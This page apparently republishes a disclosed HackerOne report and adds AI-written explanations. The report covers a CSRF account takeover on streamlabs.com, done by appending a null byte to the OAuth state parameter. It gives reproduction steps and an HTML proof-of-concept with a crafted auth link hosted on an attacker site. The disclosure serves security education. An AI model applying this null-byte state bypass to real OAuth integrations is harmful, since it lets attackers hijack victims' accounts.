Skip to content
OAuth / SSO Disclosed report Intermediate

One Click Account takeover using Ouath CSRF bypass by adding Null byte %00 in state parameter on www.streamlabs.com

The OAuth state parameter check could be bypassed by appending a null byte, allowing an attacker to link their Twitch account to a victim's Streamlabs account via CSRF. The attacker could then log in to the victim's account using their own Twitch credentials, achieving account takeover.

vbsec Follow

Originally disclosed on HackerOne

Medium 6.6 View original
  • Triaged in 26 hours
  • Fixed in 26 hours
  • Paid in 26 hours
  • Disclosed after 38 days

Summary

Hello Team

I have found a bypass to the this report. #1039749

Steps To Reproduce:

  1. Login to attacker's account and go to settings --> account settings.

  2. Intercept the request in burp suite and click on merge twitch account.

  3. Allow twitch access and once you see a get request in burp with host streamlabs.com and parameters code, scope and state then generate CSRF PoC from burp suite and drop that request. (We dropped this request in order not to consume the code as it can be used only once)

  4. Add null byte character in state parameter and host that CSRF PoC on attacker.com and ask victim to visit attacker.com

  5. Once victim visits attacker.com attacker's twitch account will be connected to victim's account.

  6. Now attacker will login to victim's streamlabs.com using his twitch account.

PoC:

Login to your streamlabs account and Visit the the link: https://pawned.trueindian1.repl.co and click on the button.

<html>
<head>
<style>
h1 {text-align: center;}
p {text-align: center;}
div {text-align: center;}
</style>
</head>
<body>
<h1>One Click Account Takeover PoC By C0nquer0rs</h1>
<p>Click the button to go to the Streamlabs and check you're account settings.</p>
<h1><button onclick="document.location='https://streamlabs.com/auth?code=e5p67p5r6vjizvpl2fj756625zv8ra&scope=user_read&state=b33a75be1737978b4c5ea22f7bf53078c86256db-merge%00'">Click Me</button><h1>
</body>
</html>

Impact

Attacker can connect his Facebook, you tube, twitch, Mixer, Periscope, Picarto, PayPal with anybody account who visits attacker's website and can easily takeover Victim's streamlabs account.

The original report as published on HackerOne, by vbsec. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application compared the state parameter using a method that stopped at the null byte, so the extra null byte was ignored and the check passed.

Impact

An attacker could connect their Twitch account to a victim's Streamlabs account and then log in as the victim, taking over the account.

What the attacker needed

Victim visits attacker's website; attacker has a Streamlabs account

How it was found

  1. Log in to the attacker's Streamlabs account and go to account settings.
  2. Intercept the request to merge a Twitch account and allow Twitch access.
  3. Capture the GET request containing code, scope, and state, then generate a CSRF PoC and drop the request to avoid consuming the code.
  4. Add a null byte to the state parameter and host the CSRF PoC on attacker.com.
  5. Ask the victim to visit attacker.com; the attacker's Twitch account gets connected to the victim's account.
  6. Log in to the victim's Streamlabs account using the attacker's Twitch account.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you log in with Twitch on Streamlabs, a random code (state) is used to prevent someone from tricking you into linking their account. The attacker found that adding a special invisible character (null byte) to the end of that code made the check pass anyway. So if you visited the attacker's website, your Streamlabs account got linked to the attacker's Twitch account, and they could then log in as you.

What is OAuth / SSO?

Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.

More from Logitech

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

OAuth and single sign-on flaws

The lesson behind this report.

Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.